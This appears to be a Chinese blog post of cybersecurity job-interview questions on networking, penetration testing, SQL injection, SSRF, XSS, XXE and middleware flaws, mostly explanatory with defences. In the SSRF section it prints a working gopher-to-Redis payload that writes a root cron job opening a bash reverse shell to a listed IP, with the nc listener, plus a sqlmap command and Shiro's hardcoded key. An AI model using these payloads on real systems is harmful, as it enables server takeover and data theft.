2024网络安全面试问题宝典(4万字)

发布于:2024-05-05 ⋅ 阅读:(34) ⋅ 点赞:(0)

2024网络安全厂商面试问题宝典(4万字)

目录

评分标准

技术能力(60分)

0x01 网络基础(20分)

0x02 应急响应(20分)

0x03 渗透测试(20分)

产品能力(10分)

项目经验(10分)

沟通表达(20分)

网络基础问题

TCP建立连接要进行3次握手(syn-syn,ack-ack),而断开连接要进行4次(fin-ack-fin-ack)

面试官,不要再问我三次握手和四次挥手_猿人谷 三次握手四次挥手-CSDN博客

TCP,UDP区别:

1、基于面向连接与无连接;2、对系统资源的要求(TCP较多,UDP少);3、TCP保证数据正确性,UDP可能丢包;4、TCP保证数据顺序,UDP不保证。

osi七层模型:应,表,会,传,网,数,物

安全常用的协议端口

范围:0-65535
固定端口:0-1023 1024 保留
动态端口:1024-65535

常用端口
21:FTP
22:SSH
23: Telnet
25:SMTP
53:DNS(UDP)
69:TFTP
79:Finger
80:HTTP
110:POP3
111:RPC远程过程调用
113:windows 验证服务
119:NNTP 网络新闻组传输协议
135:RPC远程过程调用
137:NetBlOS
139:windows 文件和打印机共享,Unix 中的samba 服务
161:SNMP 简单网络管理协议
389:LDAP
443:HTTPS
445:SMB
1080:socks 代理服务
2601,2604:zebra 路由,默认密码 zebra
5900:vnc
8080:用户 www 代理服务

木马病毒
5554:worm.Sasser 病毒利用端口
7626:冰河病毒
8011:WAY2.4 病毒
7306:Netspy3.0 病毒
1024:YAI 病毒

中间件
7001.7002:weblogic
9080:webshpere应用程序
9090:webshpere管理工具
8080:tomcat 默认端囗
Jboss 通常占用的端口是1098,1099,4444,4445,8080,8009,8083,8093,默认为
8080

数据库
3306: mysql
1433:sqlserver server

1434:sqlserver monitor
1521: oracle
5432: PostgreSQL
1158: ORACLE EMCTL
8080: Oracle XDB
2100: Oracle XDB FTP

特殊服务(漏洞)
443:SSL 心脏滴血
512,513,514:Rsync 未授权访间
873:Rsync 未授权访问
2375:docker remote api 漏洞
5984:CouchDB
6379:redis 未授权
7001,7002:WebLogic 默认弱口令,反序列化
9200,9300:elasticsearch未授权访间
11211:memcache 未授权访间
27017,27018:Mongodb 未授权访问
28017:mongodb 统计页面
50000:SAP 命令执行
50070,50030:hadoop 默认端日未授权访问

什么是websehll

Webshell 就是以 asp、php、jsp 或者 cgi 等网页文件形式存在的一种命令执行环境,也可以
将其称做为-种网页后门。黑客在入侵了-个网站后,通常会将这些 asp 或 php 后门文件与
网站服务器 WEB 目录下正常的网页文件混在-起,然后就可以使用浏览器来访问这些 asp
或者 php 后门,得到-个命令执行环境,以达到控制网站服务器的目的(可以上传下载文
件,查看数据库,执行任意程序命令等)。国内常用的Webshell有海阳 ASP 木马,
Phpspy,c99shell 等。

什么是网络钓鱼?

网络钓鱼是通过大量发送声称来自于银行或其他知名机构的欺骗性垃圾邮件,意图引诱收信
人给出敏感信息(如用户名、口令、帐号ID、ATMPIN 码或信用卡详细信息)的一种攻击。

DLL 劫持原理

由于输入表中只包含 DLL名而没有它的路径名,因此加载程序必须在磁盘上搜索 DLL 文件。
首先会尝试从当前程序所在的目录加载 DLL,如果没找到,则在 Windows 系统目录中查找,
最后是在环境变量中列出的各个目录下查找。利用这个特点,先伪造一个系统同名的 DLL,
提供同样的输出表,每个输出函数转向真正的系统 DLL。程序调用系统 DLL 时会先调用当
前目录下伪造的 DLL,完成相关功能后,再跳到系统 DLL同名函数里执行。这个过程用个
形象的词来描述就是系统 DLL被劫持(hijack)了。

如何防范漏洞

1、过滤,检查,加补丁
2、使用 waf 防火墙,安全狗等 waf 进行防护
3、进行基线检查、漏洞扫描等工作
4、在关键操作之前,先进行身份验证

等级保护

Bash 信息安全等级保护分为五级,一至五级等级逐级增高
第一级 自主保护级
第二级 指导保护级
第三级 监督保护级
第四级 结构化保护级
第五级 访问验证保护级

如果不知道网站绝对路径,我们通过什么方式可以知道网站路径

1.使用一些工具获取网站根目录信息
2.在网站根目录创建一个 php 文件: <?php
echo_DIR_; ?>
然后再在网站根目录下运行 PHP 文件,就可以得到网站根目录

HTTP 状态码 200、302、500、403、404 分别表示什么?

200 请求成功、302 跳转、403 权限拒绝、404 页面资源不存在、500服务器错误

渗透测试

渗透测试流程

信息收集(IP、子域名、C段、旁站、框架、服务器系统、语言、目录结构、数据库类型、端口、注册人员信息、防护设备)- 漏洞发现(网站功能点测试(上传、越权、目录遍历、注入、XSS、CSRF)、漏扫(AWVS、zap、xray)、系统漏洞)-** 验证漏洞**(Kali、exp、)-出具报告交付-漏洞复测

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

信息收集

信息收集都收集什么内容

信息收集(IP、子域名、C段、旁站、框架、服务器系统、语言、目录结构、数据库类型、端口、注册人员信息、防护设备)

收集端口有什么用,常见高危端口有哪些

端口的收集可以为进一步的找到对方系统漏洞给出更多的路径,如果找到一些常见的中间件或者系统漏洞直接使用exp进行攻击甚至能直接获取对方服务器权限

21 ftp、22 ssh、23 Telnet、80/8080/8888、1080 socks、3389 RDP、7001 Weblogic

1521 Oracle、1433 MSSQL、3306 MySQL、5432 PostgreSQL、6379 Redis

139\445 SMB NetBIOS 建立IPC$文件共享

渗透测试的流程?(主要看自己)

单一网站:先判断有无CDN,有先找真实ip,无的话扫

扫旁站,c段,此外识别CMS,看看使用什么中间件,

插件,系统等等,再对其进行端口探测,目录扫描,

查看网站的js文件,看看有没有敏感信息泄露,找找看

看有没有app,公众号之类的等等扩大资产面,然后对

收集到的信息进行常规的漏洞探测。

网段或区域:使用goby工具对资产进行一个批量的扫

描,批量打点,然后对可能存在漏洞的薄弱点进行漏

洞探测。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

一.确定攻击目标

破坏型:破坏数据等

入侵型:窃取数据等

二.踩点和收集信息

主机域名,网站架构,ip 地址,操作系统,开放端口,运行程序等

收集方式:利用搜索引擎,IP 追踪,whois 查询等

三.漏洞发现

漏洞扫描工具扫描

手动寻找漏洞

四.获取权限

五.权限提升

六.实施目标

窃取数据

破坏数据

当做跳板进一步渗透

七.创建后门

八.擦除入侵痕迹

给你一个登录页面有哪些渗透方式

渗透测试是一种主动的安全评估方法,旨在模拟攻击者的行为,以发现和利用系统中的安全漏洞。对于一个登录页面,渗透测试人员可能会采用多种技术和策略来尝试突破安全防护。以下是一些常见的渗透方式:

  1. 密码破解
    • 暴力破解:使用工具尝试每种可能的密码组合。
    • 字典攻击:使用预先准备的常用密码列表尝试登录。
    • 社会工程学:利用个人信息猜测密码。
  2. SQL注入:如果登录表单的输入未经适当过滤和转义,攻击者可能会注入SQL代码,从而绕过身份验证或直接访问数据库。
  3. 跨站脚本(XSS):通过在登录表单的输入字段中注入恶意脚本,当其他用户访问该页面时,脚本会在他们的浏览器中执行,可能导致会话劫持或信息泄露。
  4. 认证绕过:寻找认证机制的漏洞,如配置错误、不安全的URL路径、弱验证逻辑等,尝试绕过登录验证。
  5. 逻辑漏洞:分析应用程序的业务逻辑,寻找可以利用的漏洞,例如密码重置功能可能存在的漏洞。
  6. 服务器配置错误:检查服务器的配置,如开放的端口、不必要的服务、默认的凭据等,这些都可能成为攻击的入口。

进入一个内容管理系统你有什么提权思路

  1. 查找已知的CMS漏洞
    • 利用公开的漏洞数据库(如CVE、Exploit Database等)查找当前CMS版本的已知漏洞。
    • 使用自动化漏洞扫描工具检测这些已知漏洞。
  2. 配置错误:检查CMS和相关服务的配置文件,寻找可能的错误配置,如未正确设置的用户权限、不必要的服务或暴露的敏感信息。
  3. 代码审计:分析CMS的源代码或插件代码,寻找可能导致提权的漏洞,如输入验证不足、不当的错误处理或不安全的直接对象引用。
  4. 数据库操作:如果能够访问CMS的数据库,可以尝试修改用户权限表或利用SQL注入来提升权限。
  5. 文件上传漏洞:如果CMS允许文件上传,尝试上传恶意脚本或可执行文件,通过上传的文件获得更高的执行权限或服务器访问权限。
  6. 第三方组件:检查CMS使用的第三方库和组件,寻找已知的漏洞,这些漏洞可能被用来执行任意代码或提升权限。
  7. 会话管理:分析CMS的会话管理机制,尝试通过会话劫持、会话固定或会话欺骗来获取更高权限用户的会话。
  8. 操作系统漏洞:如果CMS运行在Web服务器上,可以尝试利用操作系统或Web服务器的漏洞来获取服务器层面的权限。
  9. 横向移动:在获得初步访问权限后,尝试在内部网络中横向移动,寻找其他系统或服务的弱点,进而提升权限。

Windows提权

  1. 系统内核溢出漏洞提权:利用系统内核的漏洞,通过特定的溢出技术来获取更高权限。
  2. 服务配置错误提权:如果服务配置不当,例如服务的路径没有被正确引用或服务具有可写权限的目录,攻击者可以通过替换服务文件或注入恶意代码来提权。
  3. 组策略首选项提权:通过修改组策略设置,可以在用户登录或执行特定操作时提升权限4。
  4. UAC绕过提权:用户帐户控制(UAC)是Windows的安全特性,通过特定的技术或漏洞可以绕过UAC,从而获取更高权限。
  5. 第三方软件/服务提权:利用安装在系统上的第三方软件或服务中的漏洞进行提权

Linux提权

  1. 内核栈溢出提权:通过利用内核的栈溢出漏洞来执行任意代码,从而获取root权限25。
  2. SUID配置错误提权:如果SUID位被错误地设置在某些可执行文件上,攻击者可以通过这些文件执行具有root权限的操作25。
  3. 计划任务提权:通过修改计划任务(cron jobs)来执行恶意脚本或命令,实现提权25。
  4. sudo提权:当sudo配置不当,允许用户无需密码执行sudo命令时,可以通过sudo执行提权操作25。
  5. 环境变量劫持提权:通过修改环境变量,使得在执行某些命令时实际上是执行攻击者预设的脚本或命令,从而达到提权的目的5。
Linux 系统中有哪些内核漏洞用于提权

CVE-2018-14634、CVE-2019-13272、CVE-2019-11477、CVE-2019-11478 和 CVE-2019-11479 等。

黄金票据和白银票据

黄金票据:

也称为“域管理员组帐户”,拥有黄金票据的用户可以访问域中所有计算机的本地管理员帐户能够创建新的域管理员和更改现有的 域管理员帐户密码

白银票据:

通常属于本地管理员帐户,只能访问本地计算机并执行特定任务。无法访问其他计算机或管理其他本地管理员帐户

区别:

黄金票据通常指一个具有域管理员权限的票据,而白银票据通常指普通用户的票据。

WEB

OWASP 10

Sql注入

SQL注入的分类有哪些,报错注入函数有哪些
  1. 经典SQL注入:字符型与数字型。
  2. 盲注:在这种类型中,攻击者无法直接看到数据库返回的结果,但可以通过发送一系列逻辑查询并观察应用的响应来推断数据。
  3. 报错注入注入:当SQL查询出错时,数据库会抛出错误。攻击者利用这些错误信息来了解数据库的结构。
  4. 时间的盲注:攻击者发送SQL查询,使数据库延迟响应。通过观察响应时间,攻击者可以推断查询的结果。盲注函数Sleep、ascii、mid
  5. 联合查询的SQL注入:通过使用UNION SQL操作符,攻击者可以执行额外的选择查询,并将结果合并到原始查询的结果中。
  6. 布尔注入
  • MySQL:
    • CONCAT()
    • EXTRACTVALUE()
    • UPDATEXML()
  • SQL Server:
    • CONVERT()
    • RAISERROR()
SQL注入的原理和防御?预编译原理?

原理:SQL注入的原理是通过在Web应用程序的输入字段中插入恶意的SQL代码,攻击者可以绕过应用程序的安全措施,直接与数据库进行交互。

防御SQL注入的方法

  1. 输入验证:对用户的输入进行严格的验证,只接受符合预期格式的数据。
  2. 参数化查询:在参数化查询中,应用程序会将用户的输入作为参数传递给查询语句,而不是直接拼接到查询语句中。
  3. 转义用户输入:对用户的输入进行转义处理,将其中的特殊字符转换为安全的字符。这样即使攻击者在输入中包含了恶意的SQL代码,这些代码也会被转义为无害的形式,无法被数据库执行
  4. 存储过程:将数据库操作封装在存储过程中,可以减少应用程序与数据库的交互次数,降低SQL注入的风险。同时,存储过程可以对输入的数据进行更严格的验证和转义处理。

    预编译:存储过程在创建时就已经被编译和优化了。因此,当存储过程被调用时,数据库不会再对其内部的SQL语句进行编译,这意味着任何注入的SQL代码都不会被视为有效的SQL命令,从而不会执行。

  5. 限制数据库权限:将应用程序使用的数据库账号的权限设置为最小化原则,只赋予账号执行必要操作的权限。这样即使攻击者通过SQL注入获取了数据库的访问权,也无法执行其他恶意操作3。
  6. 更新和打补丁:保持数据库系统和应用程序的最新版本,及时安装安全补丁。
  7. 错误处理:不要将详细的数据库错误信息显示给用户。
  8. 使用安全函数:各个数据库厂商都提供了一些安全函数,例如,微软SQL安全函数,可以帮助防止SQL注入。
  9. 使用预编译语句和绑定变量:预编译语句可以确保SQL的结构不会被攻击者改变,绑定变量可以防止用户输入影响SQL的结构,这是一种有效的防御SQL注入的方法。
  10. 检查数据类型:例如,需要输入的是整型,那么可以判断用户的输入是否包含非整型,如字符串"AND"、"BENCHMARK"等,则不运行SQL语句。
  11. 转义字符防御:对于字符型输入,可以使用函数过滤,如addslashes,来转义特殊字符,防止SQL注入。
sql注入dnslog外带

利用UNC路径去访问服务器,dns会有日志,通过子查询,将内容拼接到域名内,

利用MYSQL内置函数load_file()去访问共享文件,访问的域名被记录,此时变为显错注入

,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,

访问时将访问服务器,记录后查看日志。

注:load_file函数在Linux下是无法用来做dnslog攻击的,涉及到Windows中的UNC路径。(linux中不存在UNC路径)

sql注入堆叠

堆叠注入,顾名思义,就是将语句堆叠在一起进行查询

原理很简单,mysql_multi_query() 支持多条sql语句同时执行,就是个;分隔,成堆的执行sql语句

select * from users;show databases;

就同时执行以上两条命令,所以我们可以增删改查,只要权限够

虽然这个注入姿势很牛逼,但实际遇到很少,其可能受到API或者数据库引擎,

又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,

利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。

盲注如何直接快速获取表名

写脚本

  1. 确定表名的长度 length():首先,你可以使用逻辑查询来确定表名的长度。

    WHERE table_schema = ‘database_name’ AND LENGTH(table_name) = N`

    在这里,N 是你猜测的表名长度。根据查询结果是真还是假,你可以逐步调整 N 的值。

  2. 逐字符猜测表名substring():一旦知道了表名的长度,下一步是逐个字符地猜测表名。继续使用类似的逻辑查询,例如:

    WHERE table_schema = ‘database_name’ AND SUBSTRING(table_name, 1, 1) = ‘a’`

    重复执行循环

宽字节注入的原理
  1. 字符集转换:当Web应用程序使用支持宽字节的字符集(如GBK)时,攻击者可以利用某些宽字节字符集的特性来进行注入攻击。在GBK编码中,一个汉字由两个字节组成,其中第一个字节的范围是0x81-0xFE,第二个字节的范围是0x40-0xFE2。
  2. 转义字符处理:为了防止SQL注入,开发者可能会对用户输入的数据进行转义处理,例如在PHP中使用addslashes函数或配置magic_quotes_gpc。转义函数会在特殊字符前添加反斜杠``来消除其特殊意义15。
  3. 宽字节注入攻击:攻击者可以通过输入特定的编码序列来绕过转义处理。例如,输入%df%5c(在GBK编码中对应汉字’运’的编码),在GBK编码的MySQL数据库中,这两个编码会被解释为一个汉字,而不是两个独立的字节。这样,%5c(反斜杠的URL编码)就会与%df结合,形成一个有效的汉字字符,从而绕过转义,实现注入攻击12。
  4. 注入效果:通过这种方式,攻击者可以在SQL语句中插入恶意代码,导致数据库执行非预期的操作,如数据泄露、权限提升等15。

防御措施

为了防御宽字节注入,开发者可以采取以下措施:

  • 使用参数化查询来避免动态拼接SQL语句5。
  • 确保数据库和Web应用程序使用统一的字符编码,避免字符集转换问题1。
  • 对用户输入进行严格的验证和过滤,特别是在使用宽字节编码的环境下2。

通过以上措施,可以有效地减少宽字节注入攻击的风险。

复制再试一次分享

命令无回显如何解决?

无回显:延时判断,http请求监听,DNSlog利用,写 入当前目录下载查看等等。

写入当前目录下载查看这种方法涉及到将注入的输出写入到Web服务器的文件系统中,然后通过其他方式(如直接访问或使用Web应用程序的功能)来检索这些输出。例如,攻击者可能会注入一个命令,将数据库查询的结果保存到服务器上的一个文件中。
随后,攻击者可以通过Web浏览器或其他工具直接访问这个文件,从而获取注入的输出。这种方法可能需要攻击者找到一种方式来访问服务器上的特定目录或文件。

http请求监听这种方法依赖于在注入的命令中包含创建HTTP请求的指令,这些请求被发送到攻击者控制的服务器。例如,攻击者可能会在注入的SQL命令中使用LOAD_FILE函数来下载一个文件,或者使用XMLHttpRequest来发送一个请求到一个恶意服务器。 当这些请求被发送时,攻击者可以在其服务器上监听并捕获这些请求,从而获取注入的输出。这种方法需要攻击者能够控制一个外部服务器来接收这些请求。

mysql 数据库 4.0 版本和 5.0 版本间 sql 注入的最大区别是什么:

Bash MySQL 5.0 引入了一种新的 SQL 模式(sql_mode),5.0的SQL 模式默认为 ‘STRICT_TRANS_TABLES’。

通俗点来讲:

mysql 5.0引入了一种新的sql模式 相对于mysql 4.0版本防范sql注入更加有效 因此5.0版本比4.0版本相对来说更加安全

SQL 注入空格绕过

使用特殊字符:可以使用单引号、双引号或反斜杠等特殊字符来代替空格,例如使用“%”代替空格。

sqlmap POST 提交怎么办

打开命令提示符或终端,输入以下命令来启动 SQLMap:
sqlmap -u “http://example.com/page.php” --data “username=admin&password=test” -p username --level 5 --risk 3 --current-user --threads 5
其中,-u 表示指定目标 URL,–data 表示指定 POST 数据,-p 表示指定要测试的参数,–level 和 --risk 表示设置 SQL 注入检测的 级别和风险系数,–current-user 表示尝试获取当前用户,–threads 表示设置线程的数量

文件上传

webshell函数 dumpfile,outfile,eval,exce,system等

SSRF

**ssrf特征分析 **

可以看请求包内⼀些绕过姿势

**0x01 ⼀些特殊符号 @ [::] **。

跳转 在URL中使用@可以跳转到指定URL

http://www.任意.com@127.0.0.1 都会跳转到127.0.0.1

注意的是,@符号跳转前是http,跳转后也是http,https也是如此。

**0x02 看协议dict file **

1,读取敏感文件

url=file:///c:/1.txt //如果知道路径,直接成了白盒审计了

2,探测端口

url=dict://127.0.0.1:80 //dict是渗透测试常用协议

//因为有些端口对内不对外,即仅能通过127.0.0.1:xx访问

**0x03 短连接 localhost **

概念
client与server通过三次握手建立连接,client发送请求消息,server返回响应,一次连接就完成了。这时候双方任意都可以发起close操作,不过一般都是client先发起close操作。上述可知,短连接一般只会在 client/server间传递一次请求操作。

0x04 ip进制绕过

IP地址是32位二进制数据组成,四组

例如127.0.0.1就等于01111111.00000000.00000000.00000001

01111111000000000000000000000001 转换为10进制为 “ 2130706433 ”。

我们访问 http://2130706433 会自动解析到127.0.0.1

0x05添加端口

HTTP请求的URL中默认是以80端口访问(https为443)。开发以 . 分割;正常是分割成 [127,0,0,1],直接特征干掉。那么访问http://127.0.0.1被干掉,我们可以试着访问https://127.0.0.1:80此时,分割成[127,0,0,1:80]。最后一部分显然不是数字,此时就可以进行绕过

0x06短网址

访问压缩后的网址,就会解析到原始URL地址

ssrf利用ridis打内网

方法二:通过【curl命令】和【gopher协议】远程攻击内网redis

gopher协议是比http协议更早出现的协议,现在已经不常用了,但是在SSRF漏洞利用中gopher可以说是万金油,因为可以使用gopher发送各种格式的请求包,这样就可以解决漏洞点不在GET参数的问题了。

gopher协议可配合linux下的curl命令伪造POST请求包发给内网主机。

此种方法能攻击成功的前提条件是:redis是以root权限运行的。

payload2如下:

curl -v 'http://xxx.xxx.xx.xx/xx.php?url=

gopher://172.21.0.2:6379/

_*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.220.140%2f2333%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a’

redis命令进行了两次url编码,这里是通过gopher协议伪造的请求包用curl命令来发送;

payload采用的是bash反弹,定时程序路径是/var/spool/cron/root

发送请求之前在公网机192.168.220.140开启nc监听端口2333

nc -lvp 2333 (或nc -l 2333)

XSS

XSS的种类有哪些?区别在哪?如何修复呢?

XSS,它允许攻击者将恶意脚本注入到其他用户的浏览器中,从而在用户不知情的情况下执行攻击者的代码。

XSS攻击主要分为以下几种类型:

  1. 反射型XSS(Reflected XSS)
    • 特点:非持久化,攻击者需要诱使用户访问一个包含恶意脚本的URL,当用户点击这些链接时,恶意脚本会被执行。
    • 修复方法:对用户输入进行适当的过滤转义,避免将不可信数据直接插入到页面中;使用HTTP响应头中的Content-Security-Policy限制外部资源的加载。
  2. 存储型XSS(Stored XSS)
    • 特点:持久化攻击,恶意脚本被存储在服务器上(如数据库、消息论坛、访客日志等),当其他用户浏览受影响的页面时,恶意脚本会被执行。
    • 修复方法:对存储在服务器上的数据进行严格的验证转义,确保在页面中输出时不会构成安全威胁;实施输入验证,禁止或转换掉所有潜在的脚本代码。
  3. DOM型XSS(DOM-based XSS) 6123
    • 特点:攻击发生在客户端,通常是由于前端JavaScript代码处理用户输入时存在缺陷,导致恶意脚本的执行。
    • 修复方法:使用安全的DOM操作方法,如textContent代替innerHTML;对所有通过JavaScript处理的数据进行严格的验证和转义;避免使用eval等危险函数;使用白名单过滤用户输入。

修复

  • 输入验证:对所有用户输入进行严格的验证。
  • 输出编码:在将用户输入的数据输出到页面时,对所有特殊字符进行编码,以防止浏览器将其解释为代码。
  • 使用HTTP Only Cookie:设置HTTP Only标志,防止JavaScript访问Cookie,减少XSS攻击的潜在影响。
  • 白名单过滤:实施CSP,过滤JavaScript 事件的标签,减少XSS攻击的成功率。
  • 装WAF
XSS,CSRF和SSRF区别?

XSS:跨站脚本攻击;

CSRF:跨站请求伪造脚本攻击;

SSRF:服务器请求伪造攻击。

区别:XSS是服务器对用户输入的数据没有进行足够的 过滤,导致客户端浏览器在渲染服务器返回的html页 面时,出现了预期值之外的 脚本语句被执行。

CSRF: CSRF是服务器端没有对用户提交的数据进行随机值校验,且对http请求包内的refer字段校验不严,导致攻击 者可以 利用用户的Cookie信息伪造用户请求发送至服 务器。

SSRF:SSRF是服务器对用户提供的可控URL过 于信任,没有对攻击者提供的RUL进行地址限制和足够的检测,导致攻击者可以以此为跳板攻击内网或其他 服务器。

XSS的危害

XSS漏洞主要有以下危害:

(1)盗取各种用户账号;

(2)窃取用户Cookie资料,冒充用户身份进入网站;

(3)劫持用户会话,执行任意操作;是指操作用户浏览器;

(4)刷流量,执行弹窗广告;

(5)传播蠕虫病毒。

XXE

XXE漏洞了解吗?

XXE漏洞即xml外部实体注入漏洞,发生在应用程序解析 XML输入时,没有禁止外部实体的加载,导致可加载恶 意外部文件,造成文件读取、命令执行、内网端口、 攻击内网网站、发起dos攻击等危害。

XXE不出网利用?

有回显的情况可以直接在页面中看到Payload的执行结果或现象,无回显的情况又称为blind xxe,可以使用外带数据通道提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器。

我们从 payload 中能看到 连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 test.dtd ,有点类似于将 test.dtd 包含进来,然后 %int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %),我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

逻辑漏洞

逻辑漏洞遇到过哪些?

常见逻辑漏洞:横向/纵向越权,响应包修改,支付金额修改,会话管理漏洞 (session)、短信轰炸、验证码重用、cookie爆破,密码找回方等等

中间件

熟悉的中间件及常见漏洞

常见中间件及其漏洞如下:

  1. IIS(Internet Information Services)
    • PUT漏洞:IIS服务器在Web服务扩展中开启了WebDAV,并配置了可写入权限,导致可以进行任意文件上传
    • 短文件名猜解:IIS的短文件名机制可以暴力猜解短文件名,可能导致未授权访问或信息泄露。
    • 远程代码执行:在处理PROPFIND指令时,由于对URL长度缺乏有效控制,可能导致执行memcpy时引发栈溢出,从而导致远程代码执行。
    • 解析漏洞:IIS在处理含有特殊符号文件路径时可能会出现逻辑错误,导致文件解析漏洞。
  2. Apache HTTP Server
    • 解析漏洞:Apache的文件解析漏洞与用户配置有关,可能导致攻击者通过特定请求绕过安全限制。
    • 目录遍历:由于配置错误,可能导致攻击者能够访问并列举服务器上的目录和文件。
  3. Nginx
    • 文件解析:Nginx对任意文件名添加特定后缀的解析漏洞,可能导致攻击者执行恶意代码。
    • 目录遍历:配置错误可能导致攻击者能够遍历服务器目录结构。
    • CRLF注入:由于Nginx配置不正确,可能导致HTTP消息头中的恶意换行字符被注入,执行恶意代码。
    • 目录穿越:Nginx反向代理配置不当可能导致攻击者穿越目录限制,访问敏感文件。
  4. Tomcat
    • 远程代码执行:Tomcat在Windows主机上运行且启用了HTTP PUT请求方法时,可能通过构造的攻击请求上传包含任意代码的JSP文件,导致远程代码执行。
    • war后门文件部署:Tomcat后台管理页面存在弱口令时,攻击者可能通过爆破获取密码,并上传包含后门的war包。
  5. JBoss
    • 反序列化漏洞:Java序列化和反序列化过程中的不当处理可能导致恶意代码执行。
    • war后门文件部署:JBoss后台管理页面存在弱口令时,攻击者可能通过爆破获取密码,并上传包含后门的war包。
  6. WebLogic
    • 反序列化漏洞:与JBoss类似,WebLogic在处理Java序列化对象时可能存在漏洞。
    • SSRF(Server-Side Request Forgery):WebLogic中的某些功能可能被滥用,导致服务器端请求伪造攻击。
    • 任意文件上传:WebLogic可能允许未授权的用户上传恶意文件,导致服务器被攻击。
    • war后门文件部署:与JBoss类似,WebLogic的后台管理页面可能存在安全漏洞,允许攻击者上传恶意war包。
  7. 其他中间件
    • FastCGI未授权访问/任意命令执行:FastCGI服务配置不当可能导致未授权访问或执行任意命令。
    • PHPCGI远程代码执行:PHP-CGI配置不当可能导致远程代码执行漏洞。

漏洞流量特征 怎么判断漏洞是否攻击成功(如shiro、sql注入等)

Structs2漏洞

016是post数据用defaultactionmapper类的redirecration方法当做ONGL表达式,可以当做代码执行,造成远程代码执行漏洞

045漏洞成因主要是接受contenttype值的时候会对其进行ONGL表达式解析,造成远程代码执行

特征是使用OGNL语法,payload中含有memberaccess字段,相关特征应该在catalina.out日志文件中有体现

fastjson攻击流量

漏洞主要是因为autotype功能,这个功能本身是用于fastjson对JSON字符进行序列化和返序列化的,然后使用autotype功能进行序列号的JSON字符会带有一个@type来标记其字符的原始类型,在反序列化的时候会读取这个@type,来试图把JSON内容反序列化到对象,并且会调用这个库的setter或者getter方法,只需要构造一个JSON字符,使用@type指定一个想要的攻击类库就可以实现攻击

常见的有sun官方提供的一个类,其中有个datasourcename方法支持传入一个rmi的源,只要解析其中的url就会支持远程调用

log4j2的原理及特征

原理:log4j2框架下的lookup服务提供了{}字段解析功能,传进去的值会被直接解析,JNDI服务会请求远程服务来链接本地对象,这时候只用在{}里面调用JNDI服务即可反弹shell到指定服务器

特征:数据包里有{jndi:ladp//}字段

weblogic

xml反序列化漏洞,wls组件对外提供webserver服务,通过xmldecoder去解析xml导致一个远程代码执行

特征是xml格式的数据到wls,数据内容可能包含bash或者dnslog之类的 开放7001端口

/console控制台弱口令上传部署一个war包,特征是在adminsever.log文件中会有deploy war的字段

原理:

从⽇志查看(⽇志存放位置:/domains/当前域⽬录/servers/AdminServer/logs)

● 弱⼝令利⽤上传war的特征:分析AdminServer.log⽇志查找deploy war字样

● 利⽤T3协议传输反序列化数据特征:AdminServer.log⽇志中,⼀般利⽤的cc链(commoncollections),因此⽇志⽂件可能有InvokerTransformer、ChainedTransformer等

● 利⽤socket连接特征:base_domain.log或AdminServer.log⽇志中,会有socket字样

● ⽂件操作:base_domain.log中会有FileOutputStream字样

T3 cc链的利用,T3协议加上java反序列化,特征adminserver.log中有invoketransformer和chainedtransformer字段,T3CC利用原理好像是weblogic调用rmi服务传递对象时对参数没过滤完全,而中间T3协议对传递的字符串只能增加黑名单

socket登录就会有socket字段

文件操作的话会有fileoutputname字段

特征:数据内包含t3字段,类似:t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-lbreens:7001\n\

shiro 550 721区别

Shiro 550和Shiro 721是针对Apache Shiro安全框架的两个不同版本的反序列化漏洞,它们的主要区别在于加密密钥的处理方式和漏洞利用的条件。

Shiro 550(CVE-2016-4437)134

  • 漏洞原理:Shiro 550漏洞是由于Apache Shiro在处理RememberMe功能时,使用了硬编码的密钥(kPH+bIxk5D2deZiIxcaaaA==)进行AES加密。攻击者可以利用这个已知的密钥,构造恶意的RememberMe Cookie,导致服务器执行恶意代码。
  • 加密密钥:默认密钥是硬编码在Shiro源码中,因此攻击者可以很容易地获取到这个密钥。
  • 利用条件:攻击者不需要任何合法的登录凭证,只需要知道默认密钥,就可以构造攻击。
  • 影响版本:Apache Shiro版本小于1.2.4。

Shiro 721(CVE-2019-12422)12534

  • 漏洞原理:Shiro 721漏洞是由于Apache Shiro在处理RememberMe Cookie时,容易受到Padding Oracle攻击。攻击者可以利用有效的RememberMe Cookie作为Padding Oracle Attack的前缀,构造恶意的RememberMe字段,进行反序列化攻击。
  • 加密密钥:与Shiro 550不同,Shiro 721的AES加密密钥是系统随机生成的,攻击者通常无法预先知道这个密钥。
  • 利用条件:攻击者需要有一个有效的登录凭证来获取RememberMe Cookie,然后才能进行Padding Oracle攻击。
  • 影响版本:Apache Shiro版本小于1.4.2。

总结

